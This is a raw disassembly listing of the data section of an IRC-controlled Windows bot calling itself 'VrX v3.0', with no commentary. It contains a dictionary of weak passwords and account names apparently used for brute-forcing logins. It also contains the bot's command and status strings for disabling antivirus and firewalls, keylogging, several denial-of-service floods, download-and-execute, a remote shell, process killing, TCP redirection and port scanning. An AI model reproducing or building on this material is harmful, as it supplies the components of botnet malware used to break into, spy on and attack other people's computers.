aSlut		db 'slut',0             ; DATA XREF: ___:00429420o
		align 4
aBitch		db 'bitch',0            ; DATA XREF: ___:0042941Co
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:00429418o
		align 4
aExchange	db 'exchange',0         ; DATA XREF: ___:00429414o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429410o
		align 10h
aTechnical	db 'technical',0        ; DATA XREF: ___:0042940Co
		align 4
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:00429408o
		align 4
aLogin		db 'login',0            ; DATA XREF: ___:00429404o
		align 10h
aMary		db 'mary',0             ; DATA XREF: ___:00429400o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:004293FCo
		align 10h
aKate		db 'kate',0             ; DATA XREF: ___:004293F4o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F0o
		align 10h
aEric		db 'eric',0             ; DATA XREF: ___:004293ECo
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293E8o
		align 10h
aIan		db 'ian',0              ; DATA XREF: ___:004293E4o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E0o
		align 4
aLee		db 'lee',0              ; DATA XREF: ___:004293DCo
aBrian		db 'brian',0            ; DATA XREF: ___:004293D8o
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D0o
		align 10h
aSue		db 'sue',0              ; DATA XREF: ___:004293CCo
aSam		db 'sam',0              ; DATA XREF: ___:004293C8o
aLuke		db 'luke',0             ; DATA XREF: ___:004293C4o
		align 10h
aPeter		db 'peter',0            ; DATA XREF: ___:004293C0o
					; ___:004293D4o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293BCo
		align 10h
aMike		db 'mike',0             ; DATA XREF: ___:004293B8o
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B4o
		align 10h
aFred		db 'fred',0             ; DATA XREF: ___:004293B0o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293ACo
aJen		db 'jen',0              ; DATA XREF: ___:004293A8o
aBob		db 'bob',0              ; DATA XREF: ___:004293A4o
					; ___:004293F8o
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A0o
aZxc		db 'zxc',0              ; DATA XREF: ___:0042939Co
aAsd		db 'asd',0              ; DATA XREF: ___:00429398o
aQaz		db 'qaz',0              ; DATA XREF: ___:00429394o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429390o
aWinnt		db 'winnt',0            ; DATA XREF: ___:0042938Co
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:00429388o
		align 4
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429384o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429380o
		align 4
aWindows	db 'windows',0          ; DATA XREF: ___:0042937Co
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:00429378o
		align 10h
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429374o
aOem		db 'oem',0              ; DATA XREF: ___:00429370o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+45CFo
					; ___:0042936Co
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:00429368o
		align 10h
aHome		db 'home',0             ; DATA XREF: ___:00429364o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429360o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:0042935Co
		align 10h
aInternet	db 'internet',0         ; DATA XREF: ___:00429358o
					; ___:004294B4o
		align 4
aWww		db 'www',0              ; DATA XREF: ___:00429354o
aWeb		db 'web',0              ; DATA XREF: sub_401ACD+7283o
					; ___:00429350o
aOutlook	db 'outlook',0          ; DATA XREF: ___:0042934Co
aMail		db 'mail',0             ; DATA XREF: ___:00429348o
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429344o
		align 4
aNull_1		db 'null',0             ; DATA XREF: ___:00429340o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E8Bo
					; ___:00429338o
		align 4
aSystem		db 'system',0           ; DATA XREF: ___:00429334o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:0042932Co
		align 10h
aLinux		db 'linux',0            ; DATA XREF: ___:00429328o
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429324o
		align 10h
aDemo		db 'demo',0             ; DATA XREF: ___:00429320o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:0042931Co
		align 10h
aTest		db 'test',0             ; DATA XREF: ___:00429314o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429310o
		align 10h
a2003		db '2003',0             ; DATA XREF: sub_41AF8F+BAo
					; ___:0042930Co
		align 4
a2002		db '2002',0             ; DATA XREF: ___:00429308o
		align 10h
a2001		db '2001',0             ; DATA XREF: ___:00429304o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429300o
		align 10h
a1234567890	db '1234567890',0       ; DATA XREF: ___:004292FCo
		align 4
a123456789	db '123456789',0        ; DATA XREF: ___:004292F8o
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F4o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F0o
a123456		db '123456',0           ; DATA XREF: ___:004292ECo
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292E8o
		align 4
a1234		db '1234',0             ; DATA XREF: ___:004292E4o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E0o
a12		db '12',0               ; DATA XREF: ___:004292DCo
		align 4
a1:					; DATA XREF: ___:0040AFC7o
					; ___:004292D8o
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D4o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D0o
aPass		db 'pass',0             ; DATA XREF: ___:004292CCo
		align 10h
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292C8o
		align 4
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C4o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C0o
		align 10h
aPassword1	db 'password1',0        ; DATA XREF: ___:004292BCo
		align 4
aAdm		db 'adm',0              ; DATA XREF: ___:004292B8o
aDb2		db 'db2',0              ; DATA XREF: ___:00429460o
aOracle		db 'oracle',0           ; DATA XREF: ___:00429478o
		align 4
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429440o
		align 4
aDefault	db 'default',0          ; DATA XREF: ___:00429330o
aGuest_0	db 'guest',0            ; DATA XREF: ___:00429318o
		align 4
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C0o
aStudent	db 'student',0          ; DATA XREF: ___:004294BCo
aOwner		db 'owner',0
		align 10h
aComputer	db 'computer',0
		align 4
aRoot		db 'root',0             ; DATA XREF: ___:0042933Co
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C4o
		align 4
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B4o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B0o
		align 4
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292ACo
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292A8o
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A4o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A0o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429164o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429160o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_42915Co
dword_4299D4	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A08	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A34	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A74	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A98	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB4	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC0	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
dword_429AC8	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_4100B4+EAo ...
unk_429AD0	db    3			; DATA XREF: sub_4017ED+F2o
a81VrxConnected	db '8,1-VrX- Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 4
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D25o
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7D0Do
		align 4
unk_429B34	db    3			; DATA XREF: sub_401ACD+7CF9o
a81VrxUserSLogg	db '8,1-VrX- User: %s logged in.',0
		align 4
unk_429B54	db    3			; DATA XREF: sub_401ACD+7CDCo
a81VrxPasswordA	db '8,1-VrX- Password accepted.',0
		align 4
unk_429B74	db    3			; DATA XREF: sub_401ACD+7C7Bo
a81VrxFailedHos	db '8,1-VrX- *Failed host auth by: (%s!%s).',0
		align 10h
aNoticeSHostAut	db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C52o
		align 4
unk_429BC8	db    3			; DATA XREF: sub_401ACD+7C14o
a81VrxFailedPas	db '8,1-VrX- *Failed pass auth by: (%s!%s).',0
		align 4
aNoticeSYourAtt	db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7C02o
					; sub_401ACD+7C69o
		align 10h
aNoticeSPassAut	db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0
					; DATA XREF: sub_401ACD+7BEBo
		align 4
asc_429C48:				; DATA XREF: sub_401ACD+7BBBo
		unicode	0, <~>,0
unk_429C4C	db    3			; DATA XREF: sub_401ACD+7B6Bo
a81VrxRandomNic	db '8,1-VrX- Random nick change: %s',0
		align 10h
unk_429C70	db    3			; DATA XREF: sub_401ACD+7AFDo
a81VrxReconnect	db '8,1-VrX- Reconnecting in %s seconds',0
		align 4
unk_429C98	db    3			; DATA XREF: sub_401ACD+7AB9o
a81VrxReconne_0	db '8,1-VrX- Reconnecting in %s ms',0
unk_429CB8	db    3			; DATA XREF: sub_401ACD+7A99o
a81VrxNickChang	db '8,1-VrX- Nick changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429CDC	db    3			; DATA XREF: sub_401ACD+7A7Do
a81VrxJoinedCha	db '8,1-VrX- Joined channel: ',27h,'%s',27h,'.',0
unk_429CFC	db    3			; DATA XREF: sub_401ACD+7A5Ao
a81VrxPartedCha	db '8,1-VrX- Parted channel: ',27h,'%s',27h,'.',0
unk_429D1C	db    3			; DATA XREF: sub_401ACD+7A3Eo
a81VrxIrcRawS_	db '8,1-VrX- IRC Raw: %s.',0
		align 4
unk_429D34	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40948Ao
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aFailedToKillTh	db '- Failed to kill thread: %s.',0
		align 10h
unk_429D60	db  2Dh	; -		; DATA XREF: sub_401ACD+79B6o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aKilledThreadS_	db '- Killed thread: %s.',0
		align 4
unk_429D84	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_40943Do
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aNoActiveThread	db '- No active threads found.',0
unk_429DAC	db  2Dh	; -		; DATA XREF: sub_401ACD+7966o
		db 3, 34h, 2
		db  74h	; t
		db 68h,	72h, 65h
		db  61h	; a
		db 64h,	73h, 2
		db    3
aStoppedDThread	db '- Stopped: %d thread(s).',0
		align 4
aAll		db 'all',0              ; DATA XREF: sub_401ACD+794Co
unk_429DD8	db    3			; DATA XREF: sub_401ACD+7848o
a81VrxPrefixCha	db '8,1-VrX- Prefix changed to: ',27h,'%c',27h,'.',0
		align 4
unk_429DFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409300o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aCouldnTOpenFil	db ' Couldn',27h,'t open file: %s',0
unk_429E20	db  2Dh	; -		; DATA XREF: sub_401ACD+7829o
		db 3, 34h, 2
		db  73h	; s
		db 68h,	65h, 6Ch
		db  6Ch	; l
		db 2, 3, 2Dh
aFileOpenedS	db ' File opened: %s',0
		align 10h
unk_429E40	db    3			; DATA XREF: sub_401ACD+7809o
a81VrxServerCha	db '8,1-VrX- Server changed to: ',27h,'%s',27h,'.',0
		align 4
unk_429E64	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4092BDo
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aCouldnTResol_0	db '- Couldn',27h,'t resolve hostname.',0
		align 4
unk_429E8C	db  2Dh	; -		; DATA XREF: sub_401ACD+77C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Eh,	73h, 2
		db    3
aLookupSS_	db '- Lookup: %s -> %s.',0
		align 4
unk_429EAC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_409255o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTermin	db ' Failed to terminate process: %s',0
		align 4
unk_429EDC	db  2Dh	; -		; DATA XREF: sub_401ACD+777Eo
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledS	db ' Process killed: %s',0
unk_429EFC	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_4091F5o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aFailedToTerm_0	db ' Failed to terminate process ID: %s',0
unk_429F2C	db  2Dh	; -		; DATA XREF: sub_401ACD+7721o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 2, 3, 2Dh
aProcessKilledI	db ' Process killed ID: %s',0
		align 10h
dword_429F50	dd 234032Dh, 656C6966h,	202D0302h, 656C6544h, 20646574h
					; DATA XREF: sub_401ACD+76DFo
		dd 27732527h, 2Eh
unk_429F6C	db  2Dh	; -		; DATA XREF: sub_401ACD+7667o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aSendFileSUserS	db '- Send File: %s, User: %s.',0
dword_429F90	dd 234032Dh, 656C6966h,	202D0302h, 7473694Ch, 7325203Ah
					; DATA XREF: sub_401ACD+75ECo
		dd 0
unk_429FA8	db  2Dh	; -		; DATA XREF: sub_401ACD+75BFo
		db 3, 34h, 2
		db  76h	; v
		db 69h,	73h, 69h
		db  74h	; t
		db 2, 3, 2Dh
aFailedToStartC	db ' Failed to start connection thread, error: <%d>.',0
		align 4
dword_429FE8	dd 234032Dh, 69736976h,	2D030274h, 4C525520h, 7325203Ah
					; DATA XREF: sub_401ACD+7550o
		dd 2Eh
dword_42A000	dd 234032Dh, 6372696Dh,	202D0302h, 6D6D6F43h, 20646E61h
					; DATA XREF: sub_401ACD:loc_408F9Do
		dd 746E6573h, 2Eh
unk_42A01C	db  2Dh	; -		; DATA XREF: sub_401ACD+74C9o
		db 3, 34h, 2
		db  6Dh	; m
		db 69h,	72h, 63h
		db    2
		db 3, 2Dh, 20h
aClientNotOpen_	db 'Client not open.',0
		align 4
dword_42A03C	dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh
					; DATA XREF: sub_401ACD+748Fo
		dd 732520h
unk_42A054	db  2Dh	; -		; DATA XREF: sub_401ACD+7481o
		db 3, 34h, 2
		db  63h	; c
		db 6Dh,	64h, 2
		db    3
aErrorSendingTo	db '- Error sending to remote shell.',0
		align 10h
asc_42A080:				; DATA XREF: sub_401ACD+7469o
					; sub_4100B4+FBo ...
		dw 0Ah
		unicode	0, <>,0
unk_42A084	db    3			; DATA XREF: sub_401ACD+7441o
a81VrxReadFileF	db '8,1-VrX- Read file failed: %s',0
		align 4
unk_42A0A4	db    3			; DATA XREF: sub_401ACD+7436o
a81VrxReadFileC	db '8,1-VrX- Read file complete: %s',0
		align 4
aUnknowModeType	db 'Unknow mode type.',0 ; DATA XREF: sub_401ACD:loc_408E97o
		align 4
aFailedToStartL	db 'Failed to start logging thread, error: <%d>.',0
					; DATA XREF: sub_401ACD+73B4o
		align 4
aNormalKeyLogge	db 'Normal key logger active.',0 ; DATA XREF: sub_401ACD+733Do
		align 4
aNormal_0	db 'normal',0           ; DATA XREF: sub_401ACD+72EDo
		align 10h
aKeylogerAlread	db 'Keyloger Already running.',0 ; DATA XREF: sub_401ACD+7263o
		align 4
aVrxV3_0SitesKe	db 'VrX v3.0 sites keylogger active.',0 ; DATA XREF: sub_401ACD+7236o
					; sub_401ACD+72E5o
		align 10h
aKeylog_0	db 'Keylog',0           ; DATA XREF: sub_401ACD+7231o
		align 4
unk_42A178	db    3			; DATA XREF: sub_401ACD+7216o
a81VrxGethostS_	db '8,1-VrX- Gethost: %s.',0
		align 10h
unk_42A190	db    3			; DATA XREF: sub_401ACD+71D2o
a81VrxUnableToE	db '8,1-VrX- Unable to extract Gethost command.',0
		align 10h
unk_42A1C0	db    3			; DATA XREF: sub_401ACD+71B6o
a81VrxGethostSC	db '8,1-VrX- Gethost: %s, Command: %s',0
		align 4
unk_42A1E4	db    3			; DATA XREF: sub_401ACD+7119o
a81VrxAliasAdde	db '8,1-VrX- Alias added: %s.',0
		align 10h
unk_42A200	db    3			; DATA XREF: sub_401ACD+70E7o
a81VrxPrivmsgSS	db '8,1-VrX- Privmsg: %s: %s.',0
		align 4
unk_42A21C	db    3			; DATA XREF: sub_401ACD+7096o
a81VrxActionSS_	db '8,1-VrX- Action: %s: %s.',0
		align 4
dword_42A238	dd 312C3803h, 5872562Dh, 7943202Dh, 2E656C63h, 0
					; DATA XREF: sub_401ACD+7028o
dword_42A24C	dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+6FEEo
					; sub_401ACD+7A49o
unk_42A258	db    3			; DATA XREF: sub_401ACD+6FC7o
a81VrxModeChang	db '8,1-VrX- Mode change: %s',0
		align 4
aModeS		db 'MODE %s',0Dh,0Ah,0  ; DATA XREF: sub_401ACD+6FB6o
		align 10h
dword_42A280	dd 234032Dh, 6E6F6C63h,	2D030265h, 77615220h, 73252820h
					; DATA XREF: sub_401ACD+6F8Do
		dd 25203A29h, 73h
dword_42A29C	dd 234032Dh, 6E6F6C63h,	2D030265h, 646F4D20h, 25282065h
					; DATA XREF: sub_401ACD+6F1Fo
		dd 203A2973h, 7325h
dword_42A2B8	dd 45444F4Dh, 732520h	; DATA XREF: sub_401ACD+6EC7o
dword_42A2C0	dd 234032Dh, 6E6F6C63h,	2D030265h, 63694E20h, 2528206Bh
					; DATA XREF: sub_401ACD+6E95o
		dd 203A2973h, 7325h
dword_42A2DC	dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6E1Do
dword_42A2E8	dd 0A0D7325h, 0		; DATA XREF: sub_401ACD+6DEBo
					; sub_401ACD+6E71o ...
dword_42A2F0	dd 54524150h, 732520h	; DATA XREF: sub_401ACD+6DB6o
dword_42A2F8	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D79o
aFailedToStartF	db '- Failed to start flood thread, error: <%d>.',0
		align 4
dword_42A334	dd 234032Dh, 67726174h,	3023361h ; DATA	XREF: sub_401ACD+6D0Eo
aFloodingSForSS	db '- Flooding %s for %s seconds.',0
		align 10h
unk_42A360	db  2Dh	; -		; DATA XREF: sub_401ACD+6CA8o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aFailedToStar_0	db '- Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A39C	db  2Dh	; -		; DATA XREF: sub_401ACD+6C39o
		db 3, 34h, 2
		db  74h	; t
		db 73h,	75h, 6Eh
		db  61h	; a
		db 6Dh,	69h, 2
		db    3
aTsunamiHeading	db '- Tsunami heading for %s (%s seconds).',0
unk_42A3D0	db    3			; DATA XREF: sub_401ACD+6B9Do
a81VrxRepeatNot	db '8,1-VrX- Repeat not allowed in command line: %s',0
		align 4
unk_42A404	db    3			; DATA XREF: sub_401ACD+6B60o
a81VrxRepeatS	db '8,1-VrX- Repeat: %s',0
		align 4
dword_42A41C	dd 312C3803h, 5872562Dh, 6544202Dh, 2E79616Ch, 0
					; DATA XREF: sub_401ACD:loc_408591o
dword_42A430	dd 25207325h, 73252073h, 73253A20h, 0 ;	DATA XREF: sub_401ACD+6A84o
					; sub_401ACD+6B37o ...
dword_42A440	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD:loc_4084F0o
aBotIdMustBeDif	db '- Bot ID must be different than current running process.',0
		align 4
dword_42A488	dd 234032Dh, 61647075h,	3026574h ; DATA	XREF: sub_401ACD+6A19o
aFailedToStartD	db '- Failed to start download thread, error: <%d>.',0
dword_42A4C4	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+69AAo
aDownloadingUpd	db '- Downloading update from: %s.',0
		align 10h
aSS_exe		db '%s%s.exe',0         ; DATA XREF: sub_401ACD+6904o
		align 4
dword_42A4FC	dd 234032Dh, 63657865h,	202D0302h, 6D6D6F43h, 73646E61h
					; DATA XREF: sub_401ACD+68A2o
		dd 7325203Ah, 0
unk_42A518	db  2Dh	; -		; DATA XREF: sub_401ACD+6897o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	65h, 63h
		db    2
		db 3, 2Dh, 20h
aCouldnTExecute	db 'Couldn',27h,'t execute file.',0
		align 4
unk_42A53C	db  2Dh	; -		; DATA XREF: sub_401ACD+67FDo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_1	db 'Failed to start search thread, error: <%d>.',0
unk_42A578	db  2Dh	; -		; DATA XREF: sub_401ACD+6787o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingForFi	db 'Searching for file: %s in: %s.',0
		align 4
dword_42A5A8	dd 234032Dh, 656C6966h,	2D0302h	; DATA XREF: sub_401ACD:loc_40818Do
					; sub_401ACD:loc_4091C7o
unk_42A5B4	db  2Dh	; -		; DATA XREF: sub_401ACD+66ABo
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aRenameSToS_	db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
		align 4
unk_42A5D8	db  2Dh	; -		; DATA XREF: sub_401ACD:loc_408156o
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aInvalidFloodTi	db 'Invalid flood time must be greater than 0.',0
		align 10h
unk_42A610	db  2Dh	; -		; DATA XREF: sub_401ACD+667Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_2	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A648	db  2Dh	; -		; DATA XREF: sub_401ACD+660Fo
		db 3, 34h, 2
		db  69h	; i
		db 63h,	6Dh, 70h
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_0	db 'Flooding: (%s) for %s seconds.',0
		align 4
dword_42A674	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+658Co
aFailedToStar_3	db '- Failed to start clone thread, error: <%d>.',0
		align 10h
dword_42A6B0	dd 234032Dh, 6E6F6C63h,	3027365h ; DATA	XREF: sub_401ACD+651Do
aCreatedOnSDInC	db '- Created on %s:%d, in channel %s.',0
		align 10h
unk_42A6E0	db  2Dh	; -		; DATA XREF: sub_401ACD+64A4o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFailedToStar_4	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A718	db  2Dh	; -		; DATA XREF: sub_401ACD+6435o
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aFloodingSSForS	db 'Flooding: (%s:%s) for %s seconds.',0
		align 4
unk_42A748	db  2Dh	; -		; DATA XREF: sub_401ACD+63ABo
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFailedToStar_5	db '- Failed to start flood thread, error: <%d>.',0
		align 10h
unk_42A780	db  2Dh	; -		; DATA XREF: sub_401ACD+633Co
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aFloodingSSFo_0	db '- Flooding: (%s:%s) for %s seconds.',0
		align 10h
unk_42A7B0	db  2Dh	; -		; DATA XREF: sub_401ACD+62C3o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_6	db 'Failed to start flood thread, error: <%d>.',0
		align 4
unk_42A7E8	db  2Dh	; -		; DATA XREF: sub_401ACD+6254o
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aFloodingSFor_1	db 'Flooding %s for %s seconds using delay %s ms.',0
		align 4
unk_42A824	db  2Dh	; -		; DATA XREF: sub_401ACD+61DBo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToStartT	db 'Failed to start transfer thread, error: <%d>.',0
		align 4
dword_42A864	dd 234032Dh, 61526159h,	3022162h ; DATA	XREF: sub_401ACD+616Co
aDownloadingUrl	db '- Downloading URL: %s to: %s.',0
		align 10h
unk_42A890	db  2Dh	; -		; DATA XREF: sub_401ACD+609Do
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aFailedToStartR	db 'Failed to start redirection thread, error: <%d>.',0
		align 4
unk_42A8D4	db  2Dh	; -		; DATA XREF: sub_401ACD+602Eo
		db 3, 34h, 2
		db  72h	; r
		db 65h,	64h, 69h
		db  72h	; r
		db 65h,	63h, 74h
		db    2
		db 3, 2Dh, 20h
aTcpRedirectCre	db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42A910	db    3			; DATA XREF: sub_401ACD+5F31o
a81Sc@nPortScan	db '8,1-SC@N- Port scan started: %s:%d with delay: %d(ms).',0
aSSS_1		db '[%s] <%s> %s',0     ; DATA XREF: sub_401ACD+5E85o
		align 4
aSSS_2		db '[%s] * %s %s',0     ; DATA XREF: sub_401ACD+5DB0o
		align 4
dword_42A968	dd 54434101h, 204E4F49h, 17325h	; DATA XREF: sub_401ACD+5D22o
					; sub_401ACD+7074o
unk_42A974	db  2Dh	; -		; DATA XREF: sub_401ACD+5CC0o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStar_7	db 'Failed to start scan thread, error: <%d>.',0
		align 10h
unk_42A9B0	db  2Dh	; -		; DATA XREF: sub_401ACD+5C51o
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aPortScanStarte	db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
		align 10h
unk_42AA00	db    3			; DATA XREF: sub_401ACD+5BBAo
					; sub_401ACD+5FA0o
a81Sc@nFailedTo	db '8,1-SC@N- Failed to start scan thread, error: <%d>.',0
		align 4
unk_42AA38	db    3			; DATA XREF: sub_401ACD+5B4Bo
a81Sc@nSPortSca	db '8,1-SC@N- %s Port Scan started on %s:%d with a delay of %d second'
		db 's for %d minutes using %d threads.',0
		align 10h
unk_42AAA0	db    3			; DATA XREF: sub_401ACD+59D5o
a81Sc@nFailed_0	db '8,1-SC@N- Failed to start scan, no IP specified.',0
		align 4
unk_42AAD4	db    3			; DATA XREF: sub_401ACD+5978o
a81Sc@nFailed_1	db '8,1-SC@N- Failed to start scan, port is invalid.',0
		align 4
